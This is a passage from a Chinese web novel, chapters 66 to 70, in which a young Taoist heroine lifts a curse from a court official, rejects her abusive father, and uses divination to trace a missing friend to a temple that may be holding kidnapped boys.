真相大白,甄氏捂着扑通乱跳的心口总算松了口气。
心里对殷玉珠痛恨无比,女儿杀的好!
“就算……就算玉珠害你,你也不能活活把她鞭打死呀!”
薛氏实在没想到自己亲手挑选的儿媳妇,竟是这样一个心狠手辣之人,脸上实在有点儿挂不住,便咬牙道,
“人非圣贤孰能无过?你狠狠教训一顿,她下次不敢了还不够?”
殷琉璃轻嗤了一声,“那我将您杀了,您府里的人再教训我一顿,如何?”
薛氏被她噎的干瞪眼。
真是个伶牙俐齿的小丫头!
“没错。”
顾瑾焱看着殷琉璃的眼神都快着火了。
“嫣然,这就是你给我千挑万选的孙媳妇儿?你还敢替她狡辩!”
老夫人拍了拍桌子,恨铁不成钢道,“这么个狠毒的人,勾结邪道,连和合双修这等丑事都闹出来了,以后真嫁进来,我国公府还有好日子过嘛!”
薛氏吓得赶紧起身,委屈巴巴的说,“母亲,是儿媳错了!可当初、当初那么多待选的贵女里头,玉珠的命格是最好的!
您也知道,那位高人说她八字日元旺盛,财官印俱全,天生凤命贵不可言。
又有子孙丰盛之相,可兴夫、子、家门三盛……”
殷琉璃不由皱眉,
“殷玉珠的命格中的确有些贵相,但绝不是这般贵不可言。
若她修心养性,日后尚可妻凭夫贵,可她心术不正,早将命格中的贵气消耗殆尽了。”
薛氏顿时吸了口气。
“至于子孙丰盛,殷玉珠就算了吧,她天生孤命,就是有了孩子也会夭折。
想要儿孙满堂,除非庶子庶女。”
殷琉璃继续补刀。
“咕咚……”
薛氏一屁股瘫坐在椅子上,脸色一阵青一阵白,“怎么会这样?骗我!他们骗我!”
这时门外进来一个仆妇,
“启禀老夫人,殷侯府的殷侯爷来了,说是要接甄夫人和琉璃小姐回府。”
甄氏脸色一紧,忙看向殷琉璃。
她有些害怕殷玉珠**,殷镜堂会怪罪到琉璃身上来。
殷琉璃脸上波澜不起,
“娘,没事的。你若累了,咱们便回去。”
她虽不知道顾瑾焱怎么处理殷玉珠的事情,可就算殷镜堂知道了,她也没有一点担心。
“替我回了殷侯爷,他夫人和女儿在我这儿歇下了,明日再着人送回去。”
不等甄氏开口,老夫人就说,“今晚他殷侯府不知要热闹成什么样呢,回去凑那个热闹做什么?”
甄氏感激的看了老夫人一眼。
老夫人看她紧张,忙拍着她的手笑吟吟的说,
“宽心吧,有你未来的女婿在,什么事儿都不用你操心。”
话音未落,顾瑾焱含笑的目光已经望住了殷琉璃。
殷琉璃挪开目光,双颊不由一红。
奇怪,长这么大她还没脸红过,顾瑾焱一来,她连着红了两次脸!
……
月下。
殷琉璃把甄氏哄着睡了,一点儿困意都没有,索性爬上屋顶看月亮。
“你倒悠闲的紧,跑来赏月!”
顾瑾焱忽然出现,轻轻走到她的身边坐下。
殷琉璃淡淡看了他一眼,“我以为你回去了。”
“你在这儿,我怎么舍得回去?”
顾瑾焱俊美的脸上露出一抹笑意,轻佻的往她耳边靠近,低沉的声线中带着一抹暧昧的以为,
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话音未落,一根纤细的手指将他的脸颊推开了一尺距离,殷琉璃挑了挑眉,
“欠你一个人情,下次阴物缠身记得找我。”
不知道怎么回事,一天下来她对顾瑾焱距离感淡化了许多。
顾瑾焱,“……”
“对了,你怎么会随身带着守宫这种东西?”
殷琉璃一直没想通这件事。
当时双方各说各的,殷玉珠在薛氏面前又赌咒发誓自己清白,她还真没什么办法戳破。
“什么守宫?”
顾瑾焱一脸无辜的摊开手,“守宫是什么东西?我怎么不知道!”
殷琉璃被他赖皮的样子,逗得扑哧一声笑了出来,
“别耍赖,说!”
“你说那瓶赤血金戈散吗?”
顾瑾焱俊美的脸上露出一抹得意,挑眉道,“此药可镇痛止血,清毒散瘀,药效极强,不可多得!”
殷琉璃恍然大悟,抬手指着他,
“原来你……”
顾瑾焱轻嗤了一声,“诈一诈,谁知道她就当真了?不过若非心里有鬼,便拿起来验一验又怎样。”
“顾瑾焱,你好狡猾!”
殷琉璃捂着嘴笑个不停。
那张笑颜娇俏动人,在皎洁的月光下散发着诱人的光芒,美不胜收。
顾瑾焱看呆了。
一种无法形容的冲动涌上心头,他抑制不住的想把她抱在怀中,汲取她身上那一抹迷人的清香。
“琉璃,你好美……”
他抬手握住了殷琉璃的后脑勺,蓦地把唇凑了上去。
温热的气息扑在殷琉璃的唇上,蓦地,她心头擂鼓般跳了起来。
空气忽然凝滞。
熟悉的感觉传来。
手,我的手!
胳膊,腿……顾瑾焱眨了眨眼,才发现连眼皮都难以动一下。
他又被殷琉璃给定住了!
殷琉璃从他半弯的手臂中溜出来,起身拍了拍手,挑眉道,
“不早了,我回房休息。”
顾瑾焱,“……”
我呢!那我呢!
不会又要定两个时辰吧?
夫人饶命……
第66章 我替你做主
周夫人瘫坐在地上哭天抢地,
“老爷,你我做了二十年的夫妻,我们说好携手白头的!
我不准你丢下我和肃儿就这么去了!我不准!”
听顾瑾焱说到“我信她”三个字,不觉勃然大怒,抬手指着顾瑾焱悲愤的吼道,
“你信她?我家老爷都被她治**,你竟然还信她!
顾瑾焱,我知道你是圣上宠爱的皇外孙,仗着盛宠可以为所欲为,可我不怕你!
她害死我家老爷,我也不想活了,我、我跟你们拼命……”
顾瑾焱不动声色的挡在殷琉璃面前。
周肃吓了一跳,赶紧拦住要拼命的周夫人,急的如同热锅上的蚂蚁,
“娘,别这样!世子爷不是那个意思……”
“我就是这个意思。”
顾瑾焱不动声色的握住了殷琉璃的手,侧头在她耳畔轻声说,“没事,有我在。”
殷琉璃心头划过一抹什么,抬头望了他一眼,
“我知道没事。”
周夫人靠在儿子怀里哭天抢地,“肃儿,你爹**,娘也不想活了……”
“他**,你们再哭丧也不迟。”
殷琉璃被她哭的心烦。
灵符要以真气催动,一般符咒用不了多少真气。
可周青公身上是**咒之一的噬骨咒,厉害非常。
她运用真气后气息稍有不稳,正在调息,周夫人就哭闹起来了。
“呼……呼……”
话音未落,周青公喉咙里发出了惬意的呼噜声,磨着牙含混的嘟囔,“舒服……舒服啊……”
空气突然一静。
周夫人满是泪水的脸仿佛冰封了一般,呆若木鸡的看着他,“老、老爷……”
“爹,你没死?”
周肃大喜过望,“娘,爹没死!你看,他、他是睡着了!”
周青公仿佛听见有人说话,竭力睁了睁眼皮子,谁知身子一软从椅子上滑落,咕咚一声掉在地上。
痛苦折磨了他一天一夜,身子骤然一松,全身就像是被抽掉了筋骨一般无力。
“老爷!”
周夫人惊呼着跑去扶他,搂在怀里失声大哭,“老爷你没死,你、你没事儿了……”
“多谢姑娘!多谢世子爷!”
周肃扑通一声跪了下来,激动的磕了三个响头,
“刚才是我们有眼不识泰山,得罪了姑娘,请姑娘原谅!请世子爷宽恕!”
顾瑾焱淡淡挑眉,“哼。”
不信我可以,不信我夫人,哼!
周肃含泪望着殷琉璃,举起三根手指道,
“姑娘救我爹性命,就是救我一家的命!我周肃对天发誓,以后愿为姑娘衔环结草,鞍前马后,报答姑娘大恩大德!”
殷琉璃皱了皱眉,
“衔环结草用不着,你不是打算道个谢就完了吧?”
周肃有点儿没反应过来,“什么?姑娘的意思是……”
“光道谢有什么用?”
顾瑾焱抬手勾了勾手指,“少废话,法金拿过来。”
我夫人的灵符很贵的!
“法金我给!我给!”
周夫人颤抖的褪下手腕上的一双金玉镯子。
只觉得不够,她又慌乱的往头上摸去,将金钗玉簪全都拔了下来,全都托到殷玉珠的面前,满面愧疚的说,
“姑娘,刚才是我出言不逊,说了那些难听的话……我跟姑娘道歉,还望姑娘大**量,原谅我吧!”
殷琉璃看着她满手的金银首饰,不满的摇了摇头,“我不要这个。”
老夫人和薛夫人送来了几匣子首饰,还不够呀?
她本来就对首饰不感冒,再弄点儿回去,娘和金嬷嬷指定天天琢磨往她脑袋上,插一堆乱七八糟的东西。
周夫人怔了怔,以为她嫌弃东西不够,忙说,
“姑娘想要什么尽管开口,你救了我家老爷,就是要我的命我也愿意!”
我要你的命做什么用?
“我只收法金……”
殷琉璃缓缓伸出一根手指。
“肃儿,快去取一千两银子过来!”
另一根手指还没搭上去,周夫人就急忙吩咐周素,“不不,两千两!”
“……”
殷琉璃满脸黑线,摆摆手说,“夫人你误会了,我说的是十两银子。”
“啪嗒”
周夫人手里的珠宝掉了一地,不可思议的看着她,“十两?”
她没听错吧?
殷琉璃认
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真的点了点头,解释说,
“一般的抓鬼驱邪就要收一两银子,不过周大人身上的噬骨咒乃是**咒之一,非常厉害,所以要加倍收取。”
师父下山为村民抓鬼驱邪,做一次法事只收一百个铜钱。
如果是镇上的商户或者地主请,才酌情收一两。
京城比镇上的人有钱多了,所以她起步就收一两,能赚十倍差价呢!
空气一片安静。
“姑娘,你救的是我爹的命,十两也太少了!”
周素不知所措的给顾瑾焱使眼色,“世子爷您看……”
顾瑾焱含笑望向殷琉璃,“琉璃,还是我替你做主吧,别让他们为难。
随行就市,就按周夫人说的,一千两。”
殷琉璃淡淡的说,“也好。”
京城里的人就是有钱。
正好,她也想赚钱。
先买一大座府邸安顿娘,再重修师父那个小破老的道观!
“是!就一千!一千!”
周肃飞也似的跑了出去。
“老朽多谢、多谢姑娘救命……”
周青公缓过一口气来,虚弱的看着顾瑾焱和殷琉璃,“世子爷,这位姑娘是?”
“恩师醒了?感觉如何?”
顾瑾焱忙拉过殷琉璃的手上前,“这是殷侯府嫡长女,名唤琉璃。你叫她琉璃就好。”
周青公一怔,恍然道,“她就是、就是……”
顾瑾焱唇边勾起一抹笑意,会意的点了点头。
周夫人端过来一碗热茶,通红的眼睛里满是心疼,
“老爷,快喝些茶润喉,你感觉怎么样?”
周青公幽幽的叹了口气,神情疲惫的说,
“之前身子里像是有数万只蚂蚁在爬,它们啃我的骨头,吃我的血肉,又像无数银针往我身上戳……实在痛痒难当。
然后突然一下,身子就轻了,好像……好像要飘起来似的!紧接着四肢百骸说不出的清爽舒服,只是累的想睡觉。”
殷琉璃淡淡道,“累就对了,煞气在体内侵蚀气血,身子消耗过多,要好好养上一阵子才行。”
周青公感激的点了点头,惊魂未定的说,“真没想到那些方士的法术会这般厉害!”
第67章 随行就市
当时他真痛的不想活了。
眼前的一切都在扭曲变形,神志也变得不清晰,只想活活把自己的肚子剖开,看看里面到底爬了多少只蚂蚁!
周夫人抹着眼泪,自责的说,
“多亏了这位……琉璃姑娘。刚才你那个样子,我还误会人家了呢!”
又是方士?
殷琉璃心头闪过一抹好奇,“周大人你是做什么的?”
周青公长长的叹了口气,苦笑道,
“老夫乃大理寺寺卿,尽日正在与世子爷查一桩谋逆大案。
案件扑朔迷离不说,还有几个手段厉害的方士,这才吃了亏。
说不来不怕琉璃姑娘笑话,老夫都不知怎么中的这个邪术……”
殷琉璃轻描淡写的说,“施术,根据施法之人的道行各有不同。有的需要开坛做法,大张旗鼓,你自然能有所提防。
道行高的可将灵符以心念催化,翻手之间就能施法,防不胜防。”
顾瑾焱顿时得意的勾起了唇角。
我夫人就是那种防不胜防的!
周青公听的头皮发麻,颤声说,“那可如何是好?这案子查的曲折离奇,再叫我中一次,我这老胳膊老腿可受不了。”
殷琉璃抿了抿唇,
“我有一道保命符你要不要?随身携带,关键时刻可以替你挡上一下……”
因为还没想好定价,她迟疑了一下。
“要!”
话音未落,周青公夫妻俩异口同声道,
“不管多少银子,我们都要!”
周夫人激动的说,
“琉璃姑娘,能不能给我儿周肃一张,他在世子爷手底下办事,我怕他也……”
殷琉璃点了点头,
“记住,保命符只能挡一时之煞,一旦符咒自燃便再无用处。”
“是!是!”
周夫人点头如捣蒜,看见周肃拿着银票进来,连忙冲他摆手,“肃儿快去,再拿两千银子来!”
周肃,“……”
殷琉璃摇了摇头,又伸出了一根手指,
“保命符不用这么多,一百两吧。”
师父卖的保命符才一两,她活活翻了一百倍呢!
……
一下就赚了两千两银子!
坐在回府的马车上,殷琉璃心里的小算盘噼里啪啦打个不停。
殷侯府是住不长的,再攒攒,她就给娘买一套大宅子。
翻修师父的老破小也指日可待!
到时候她要在后院儿盖一大排窗明瓦亮的大房子,师父住最大的那间。
每个师兄也都分一间,省的五个人在土炕上挤成一团,睡着睡着就把臭脚丫子蹬到别人脸上去了。
想着想着,殷琉璃的眼睛都在发光。
顾瑾焱看到忘形。
仿佛自己不复存在,他的眼睛里、心脏里,全都是殷琉璃那张散发着光芒的小脸儿。
“对了,顾瑾焱,你也在大理寺查案吗?”
殷琉璃忽然想起什么,随口问了一句。
扭头正对上那双痴迷的看着自己的眸子,不由皱眉,“这么看我做什么?”
“好看。”
顾瑾焱大言不惭的挑眉,“我是在大理寺,不过与周大人不同,我奉的是密旨,在大理寺中没有官衔身份,来去自如。”
殷琉璃歪了歪头,不解道,
“你既然有正经事情做,为什么京城都传你不务正业,是个纨绔子弟?”
“我倒希望人人都知道我是个什么德行才好呢!”
顾瑾焱哑然失笑,云淡风轻的说,“查案不能只在高堂之上,看几眼证据,问些口供就能查清楚的。
很多时候案情藏在市井之中,越是鱼龙混杂的地方,说不定越能找到线索。”
“隐藏的够深呀!”
殷琉璃眸中闪过一抹淡淡的惊讶。
他让人看到的自己,和隐藏起来的自己,仿佛有着天壤之别。
越和顾瑾焱接触,越觉得此人有些深不可测。
……
“世子爷……”
马车慢悠悠停在殷侯府门前,车夫禀报,“侯府到了。”
“嘘……”
车厢里传来顾瑾焱的轻嘘声。
殷琉璃靠在他的肩头睡着了,他撑着双肩,连动都舍不得动一下。
那张绝美的小脸贴着他的脖子,温热的呼吸就在耳边。
搞得顾瑾焱一路上心跳此起彼伏,喉咙干涩,吞了几口口水,喉结不由自主的跟着滚动。
这也太折磨人了!
要不是怕再被定两个时辰,他几次都按耐不住想把她搂进怀里,狠狠吻住她红润的双唇。
吻是不敢吻,多抱一会儿是一会儿吧。
可还是
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有点儿忍不住。
顾瑾焱小心翼翼的把唇凑过去,在殷琉璃额头轻轻印下……
“嘶……”
恰巧这时马匹等的不耐烦,跺了下蹄子发出一声嘶鸣。
顾瑾焱触电般坐直了身子,心口里跟擂鼓似的一阵乱跳。
臭马!就不能晚点儿再嚎嘛!
吓死小爷了!
殷琉璃动了动,迷迷糊糊的问,
“到哪儿了……”
“到、到侯府了。”
顾瑾焱两眼直视前方,一双手老老实实搭在膝盖上,抓紧裤管,身子绷的跟棍子一般。
“我睡着了?”
殷琉璃伸懒腰长长的打了个哈气,抬手拍了下顾瑾焱的肩膀,“多谢你,让我赚了这么多银子。”
顾瑾焱正色道,“客气。”
夫人你太客气了,自己人!
殷琉璃起身道,“你也早些回去……”
话音未落,脚上传来一阵剧烈的麻痛,她哎呀一声跌倒。
“怎么了?”
顾瑾焱眼疾手快把她捞在手中,一脸紧张的问。
殷琉璃抬起亮晶晶的眸子,可怜兮兮的望着他,
“脚麻了……”
话音未落,她身子一轻,整个人落进了顾瑾焱的怀里。
殷琉璃惊讶的看着他,“顾瑾焱,你干嘛?”
“自然是送你回府。”
顾瑾焱傲娇的挑眉,威胁道,“别乱动,不然摔下来可不关我的事!”
……
第二天一早,殷琉璃就被外面说话声吵醒。
“甄夫人,好久不见,瞧着您气色不错呀!”
说话声有些耳熟,仿佛是昨晚那个哭哭啼啼的周夫人。
甄氏一脸奇怪,“周夫人请,您这是……”
周夫人笑道,
“哦,我家老爷收到殷侯爷的邀请,前来赴宴,我便来瞧瞧夫人,顺便拜访一下琉璃小姐。”
甄氏惊讶的说,“周夫人认识我女儿?”
昨晚回去太晚,殷琉璃还没来及把周大人的事儿告诉她。
“认识认识!何止认识!”
提到殷琉璃,周夫人顿时激动起来,“要不是琉璃小姐,我家老爷可就……”
殷琉璃心头有些奇怪,昨晚她叮嘱过周大人要好好休养,怎么接到邀请就过来赴宴呢?
殷镜堂请他做什么?
第68章 亲戚也要给银子呀!
说着话,甄氏已经将周夫人迎进客厅。
寒暄了几句,才知道昨晚顾瑾焱悄咪咪的潜入侯府,把她闺女拐出去救人!
甄氏顿时哭笑不得。
这位世子爷也太离经叛道了些!
以后可别把她闺女带坏了!
……
金嬷嬷匆匆进了卧房,脸上带笑,
“大姑娘起来了?周公府的周夫人来了,夫人让老奴为姑娘梳妆,请去见客。
对了,大姑娘才刚回来,什么时候与周夫人认识的?”
“昨晚。”
殷琉璃问道,“今儿什么日子?殷镜堂请周大人来做什么?”
金嬷嬷往外瞅了一眼,压低声音,
“今日朝廷休沐,前阵子侯爷不是把宰相大人得罪狠了嘛,被人家咬着不放。
这位周大人是宰相大人的得意门生,侯爷就想请他从中斡旋。
可不是第一次请了呢,侯爷几次登门拜访都吃了闭门羹,谁知今儿竟肯赏光!”
殷琉璃不觉冷笑。
周大人拖着病体前来应邀,可不是冲着他殷镜堂来的。
梳妆好,殷琉璃便过去见了周夫人。
周夫人一见她眼睛都亮了,起身拉过她的手仔细的打量,
“瞧这孩子,活脱脱一个美人儿胚子!竟还有这般本事,甄夫人,您以后可有女儿的福气享了!”
甄氏客气的笑道,“周夫人,您别把这孩子夸坏了……”
“怎么夸都不夸不够!”
周夫人笑吟吟的说,“不瞒夫人说,我这里还有个私心……
我是打心眼儿里喜欢这孩子,想认下她做干女儿,不知道夫人觉得如何?”
殷琉璃满脸黑线。
京城的人怎么都这么喜欢攀亲呢?
亲戚也要给银子的呀!
我给你们解决问题,你们给我银子,不就挺好?
甄氏脸色有些为难,
“周夫人,这恐怕有些不合适……”
“回夫人的话,不是我们夫人不答应,是您来晚了!”
金嬷嬷忙笑着帮腔,“前日我家大姑娘去国公府赴宴,得了国公老夫人赏识,非要认了做干孙女呢!”
“国公老夫人?”
周夫人脸上闪过一抹震惊,叹口气道,“可是我来晚了,怎敢与老夫人并肩?”
她暗暗攥紧了袖子里的认亲红包,心里一阵阵觉得惋惜。
今天特意跟老爷来侯府赴宴,就是为了这事儿。
要不是周青公说这位殷家大小姐跟世子爷定了亲,她还想着把殷琉璃给自己儿子定下呢!
娶个这么厉害的儿媳妇儿回家,以后还怕有家宅不安的时候?
“夫人,老爷他们往水榭园子去了,请两位夫人和大小姐去,说家宴就布置在水榭楼台。”
仆妇进来禀报。
……
进了水榭院子,殷琉璃就看见殷镜堂满面笑容,陪着周青公在池塘边儿散步说话,
“难得周兄赏光,镜堂实在感激不尽!”
周青公脸上带着一抹憔悴,不冷不热的应付着殷镜堂,
“你我同僚,都是为圣上效力,镜堂兄不必客气过谦。”
“哪里哪里……镜堂已命人备下家宴招待周兄,咱们好好叙叙旧。请!请!”
殷镜堂抬手引着他,脸上的殷勤谄媚藏都藏不住。
没想到他请了几次都请不来的人,竟然亲自登门。
周青公是宰相最为倚重的门生,若是他能帮着说几句,被**这事儿势必大有转机!
两人在水榭楼台坐下,殷镜堂亲手倒了一杯茶,陪笑说,
“周兄,镜堂与宰相大人只是政见不同,实在无意得罪。
您是他老人家的得意门生,不知能否替镜堂在他老人家面前美言几句?”
周青公脸色为难的说,
“宰相大人的脾气你也不是不知道,此事非常难办,不过也不是全然没有办法。”
殷镜堂脸色大喜,
“周兄是说,这事能有转机?”
周青公眉头微蹙,“需得好好筹措,也许尚有转机……”
“琉璃见过周大人。”
话音未落,殷琉璃脸上带着一抹冷笑,已至近前。
周青公憔悴的脸上露出一抹笑容,起身迎了出去,
“琉璃姑娘,咱们又见面了。”
“周兄,你认识我女儿琉璃?”
殷镜堂满脸惊讶。
一向稳重清高的周青公,竟
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然亲自起身迎接殷琉璃这个小丫头?
他心头顿时跳了几下,一抹不祥的预感涌上心头。
“认识,当然认识!”
周青公呵呵大笑起来,“若不是琉璃姑娘出手相救,老夫怕不是要被那一抔黄土给埋了。
今日登门拜访,一来是感谢琉璃姑娘救命之恩,二来,既然是琉璃姑娘府上的事儿,老夫自当尽一些绵薄之力。”
殷琉璃挑眉道,“周大人是说殷侯爷得罪宰相大人的事儿吗?”
周青公诚恳的说,“是,若换做旁人,此事我断不会插手……”
“那就不要插手。”
殷琉璃打断他的话,神色冷淡的说,“周大人的好意我心领了,不过殷侯爷是殷侯爷,我是我,我与他并不相干。”
殷镜堂脸色大变,惊慌道,“琉璃,你胡说什么?”
殷琉璃似笑非笑的看着他,
“没听清吗,那我再说一遍,你是你,我是我!你我,并不相干!”
“琉璃姑娘的意思是?”
周青公脸上闪过一抹疑惑,和周夫人面面相觑。
他今日拖着病体前来,就是为了报恩,哪怕事情再难办他也要想办法帮上一把。
可殷琉璃要是这么说,他就没必要插这一手了。
“周兄,误会!误会!”
殷镜堂神色慌乱至极,陪笑道,“这孩子跟我闹了些别扭,这不还与我赌气呢?
你们等我一下,我跟这丫头聊聊……琉璃,你过来。”
殷琉璃冷哼一声,“没什么好聊的,要说你就在这儿说。”
“琉璃,我到底是你父亲,你怎能这么害我?”
殷镜堂压低声音,咬牙切齿道,“我好容易才请动了周大人,只要他出手事情必然能有转机,你、你这么说不是害我嘛!”
殷琉璃冷笑道,“周大人是你请来的?”
周青公立刻摇头,“非也!老夫是冲着琉璃姑娘来的。旁人请一请老夫就来,怕也太小看老夫了!”
殷琉璃笑了起来,,“既然周大人是冲我来的,那我说出实情,就是害你?
不过你觉得是那便是吧,又能怎样?”
殷镜堂倒吸了一口冷气。
第69章 有笔银子,你赚不赚?
周青公背过双手,高声道,
“这件事老夫可两肋插刀,也能袖手旁观。
琉璃姑娘,帮与不帮,只凭你一句话。”
空气好像凝固了一般,让人呼吸不畅。
殷镜堂竭力压抑着心头的颤抖,满脸哀求的看着殷琉璃,
“琉璃,以前都是爹不对,爹混账!爹以后一定对你们娘俩好。
这个时候就别跟爹置气了,算爹求你……帮爹这一次吧!
就一次,你不帮,我殷侯府就完了!”
“殷侯府与我有什么关系?”
殷琉璃冷笑一声,毫不客气的说,“爹这个字,你也不配。”
殷镜堂心里轰的一声,呆在原地,眼前阵阵发虚。
命运仿佛在眼前分开两条岔路,一边儿是康庄大道,一边儿是悬崖深壑。
他站在那个分岔口,眼看着一只脚就要踏上康庄大道,突然来了只大手将他推向深渊。
周青公冷冷的哼了一声,
“既然琉璃姑娘发话,殷侯爷,恕老夫爱莫能助。”
“不不!周大人你听我说……”
殷镜堂诈尸般跳了起来,拦住周青公,“周大人,整个朝堂只有你能帮我,你要是不出手我就完了!
算我求你,不管什么条件,不管你要多少银子我都答应!只要你肯出手……”
“住口!”
周青公脸上闪过一抹怒意,喝道,“老夫清廉半生,你把老夫当成什么人了?简直不像话!”
殷镜堂急的额头冒汗,连连摆手说,
“周大人你别生气,我、我不是这个意思……”
周青公狠狠甩袖,
“你最好不是这个意思!否则老夫一定写封奏折呈给圣上,告你贿赂朝廷命官!
老夫劝你一句,你嘴上说与宰相大人政见不合,才得罪了他,可私底下你做过什么只有你自己知道。
与其在这里做个跳梁小丑,不如自负荆条去圣上面前请罪,或许还能有你一条生路!”
殷镜堂踉跄了一下,脸上一片颓败。
他要是去负荆请罪,下场可就不止抄家了!
完了,这下全都完了!
本想着把殷琉璃嫁进公主府,换殷侯府的活路,可这丫头就是嫁进去,恐怕也不会让他如愿!
原本殷玉珠定亲,也能借这层关系求一求国公爷,可活活被这丫头毁了亲事!
他最后的希望就是周青公,也被殷琉璃破坏……
殷琉璃这是让他死无葬身之死!
“殷琉璃!”
殷镜堂突然暴跳如雷,一副生生要**的样子,
“你一定把我毁了是吗?我不就是把你扔进山沟里十二年,没养过你嘛!
不就是冷落你母亲,娶了别的女人嘛,你就这样害我?”
殷琉璃眸中闪过一抹凛冽,
“别自以为是了,你不配我动手。”
“告诉你,你是我生的!不管我怎么对你,你身上流的也是我的血!
你不敬不孝我这个父亲,小心天打雷劈!”
殷镜堂气急败坏,抬手指着她的鼻子怒火冲天道,“早知如此,当初生下你时我就该把你掐死,还让你有命回来?”
“殷镜堂,你怎能说出这样的话,你、你还是人嘛!”
甄氏蓦地抬起通红的眼睛,满目悲愤。
殷镜堂怒火中烧,一把将她推倒在地,
“**!都是你生的好女儿!”
“娘!”
殷琉璃连忙扶起甄氏,冷冽的眸子里闪过一抹慑人的寒意,“殷镜堂!你敢动我娘!”
“怎么,你还敢打我?”
殷镜堂恶狠狠的说,“告诉你臭丫头,女儿打父亲,天打雷劈!”
“天打雷劈,劈的也是你!”
殷琉璃将甄氏交给金嬷嬷,抬手就要打。
“啪”
一声脆响,殷镜堂脸上狠狠挨了一下,踉跄了几步一个跟头栽倒。
空气瞬间一寂。
一颗石头子落在地上。
殷镜堂脸上红肿一片,满脸愕然。
所有人也都满脸惊讶,殷琉璃抬起的手根本没落下呢。
“她为什么不敢?”
顾瑾焱的声音忽然从身后传来。
那张俊美的脸上带着一抹邪魅的冷笑,径直走到殷琉璃身边。
殷琉璃皱了皱眉,“你怎么来了?”
顾瑾焱冷冷哼了一声,“我不来,你被人欺负了还不知道呢。”
说罢
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,他当着所有人的面儿抓过殷琉璃的手,深邃的眸子里闪过一抹宠溺,
“打个人而已,吩咐我一声就行,干嘛亲自动手?仔细手疼。”
殷琉璃抽回手来,淡淡的说,
“你想多了,我还不至于让人欺负。”
殷镜堂看着他惊慌失措,“顾、顾世子,你凭什么打我?”
“怎么,本世子打不得你?”
顾瑾焱居高临下的看着他,冷冷勾唇,
殷镜堂被那双阴戾的眸子看的心慌,连连摆手,
“不不,顾世子你误会了,我是在教训女儿……”
顾瑾焱冷哼一声,
“琉璃是我未婚妻,未来的世子妃,就算教训,恐怕也轮不到你。
殷侯爷,你是不是有点儿没把我公主府放在眼里了?”
殷镜堂被怼的一口气堵在喉咙里,脸色刷白。
……
周青公夫妻俩告辞后,殷琉璃把顾瑾焱带去了凤栖梧。
一进院子,丫鬟仆妇全都悄悄看他俩。
“这个就是世子爷呀?长得可真俊,跟咱家大姑娘简直郎才女貌!”
“他俩还没成亲呢,世子爷就急着来瞧大姑娘了……”
“你们没瞧见,刚才世子爷给咱们大姑娘撑腰,把老爷都打了!”
……
殷琉璃满脸黑线,请顾瑾焱坐下后便问,
“大白天的,你来找**嘛?”
顾瑾焱轻佻的看着她,
“怎么,你想让我晚上来找你?”
殷琉璃,“……”
她是这个意思嘛?
这人怎么老没个正形!
“顾世子,请用茶。”
甄氏亲手端了一碗茶过来,笑眯眯的看着他。
丈母娘看女婿,越看越喜欢。
就凭他刚才给琉璃撑腰,甄氏打心眼儿里认定这个女婿了。
顾瑾焱连忙起身接过,正色道,
“夫人亲自上茶,焱儿不敢当,让下人做就好了。”
“娘,您别理他。”
殷琉璃把甄氏拉过来坐下,看着顾瑾焱道,“说吧,到底有什么事儿?”
顾瑾焱幽深的眸中闪过一抹什么,淡淡的说,
“有笔银子,你赚不赚?”
第70章 寻人之术
顾瑾焱眉间一敛,正色道,“琉璃,你会否寻人之术?”
殷琉璃点了点头,“会,你要寻谁?”
“阿允。”
顾瑾焱轮廓分明的俊脸上,涌起一抹阴沉,低声说,
“近日京城发生数起孩童失踪案,作案手法干净利落,大理寺也查不出个头绪。
昨日阿允叫人送了封信给我,说是找到条线索要去追查。”
说着,他将一封笔记清秀的信递给殷琉璃,“你先看看。”
殷琉璃接过细细看了一眼,不觉皱眉。
方政允信上说,他的好友兵部侍郎之子高洪,其胞弟也离奇失踪。
高洪说查到一条线索,两人便自行去追查。
他只留下京城西门外,一家客栈的名字。
顾瑾焱皱眉道,
“国公府早上着人来问,说他昨天出去至今未归,我怕他出事暂且瞒了下来。
琉璃,我派了手下暗卫去西城门外找查那家客栈,客栈没有问题,但人从客栈出去就消失了。
你能否寻到他的所在?”
孩童失踪,方政允下落不明……
殷琉璃目色微凝,
“你有方政允用过的物件吗?什么都可以。”
顾瑾焱摇了摇头。
殷琉璃淡声道,“常用之物会沾染主人血脉精气,寻气法最为精确有效。
没有的话,只能卜卦……你等我一下。”
她起身去房内拿了一只木盒出来,纤细的手指探入,捡出三枚古钱。
双手将古钱合于掌中轻晃,沉声道,“告诉我方政允的生辰。”
顾瑾焱报出一串数字。
只听当啷一声,殷琉璃将铜钱散在桌上。
她只轻扫了一眼便说,
“身陷险境,命悬一线。测方位于坎,应往北方去寻,十里之外寻于山林。
人囚于山石之间,若遇水则有惊无险,无,则险象环生。”
顾瑾焱点了点头,周身漫出一抹迫人的冷冽,
“北方?山林……京城外北方便有一座朝霞山!
我这就去!琉璃,你替我跟夫人道歉,改日我再来赔罪。”
说罢,他起身就要离去。
“等等。”
殷琉璃一把抓住他的手臂,用清洌的眼神看着他,
“我与你一起去!此卦暗藏阴邪,若是方士所为,你们不是对手。”
顾瑾焱默了默,“好。”
甄氏准备好了一桌饭菜,再进来时人去镂空,茶都凉了。
……
门外,暗卫已经给殷琉璃备好了马。
“踏雪归你。”
殷琉璃刚要上马,就被顾瑾焱拉到那匹雪白的马匹前,拍了拍它的脖子道,“好生听她的话。”
“昂……”
踏雪冲着殷琉璃嘶鸣了一声,竟扭头咬住缰绳自己往殷琉璃手里塞。
好灵性的小家伙!
殷琉璃暗赞了一声,翻身上马。
两匹马一路向前狂奔,身后数名暗卫从不同方向汇拢,若隐若现跟在两人身后。
出了京城就看到一座巍峨延绵的青山,再走两三里就到。
马匹在山脚下停了下来。
殷琉璃发现空地上停着好几辆马车,山上山下来往的人多为妇人小姐,大多拎着食盒篮子。
“顾瑾焱,这山上有庙宇吗?”
殷琉璃问道。
顾瑾焱点了点头,
“此山叫做朝霞山,山腰处有一座朝霞观,京城附近香客众多,香火很旺。”
殷琉璃心头划过一抹什么,蹙眉道,
“孩童失踪多少了?年龄如何,男孩儿女孩儿?”
顾瑾焱不假思索道,
“至今报到官衙的失踪案有十九起,年龄在七到十二之间,都是男孩儿。”
各种信息在殷琉璃心头浮现,拼图般一块块拼合在一起。
她突然冷声道,
“顾瑾焱,你的人手够吗?我怀疑朝霞观有问题,那些失踪孩童怕不是就在这里!”
“什么?”
顾瑾焱俊美的脸上闪过一抹意外。
殷琉璃眸色一沉,“纯阳丹!失踪的那些男童,很有可能被抓去炼制一种叫做纯阳丹的丹药了。”
顾瑾焱暗暗吸了一口气冷气,“何以见得?”
殷琉璃道,
“男童属纯阳之体,尤以七到十二岁时最盛,小些的阳气不足,大些的阳气已经开始发散。
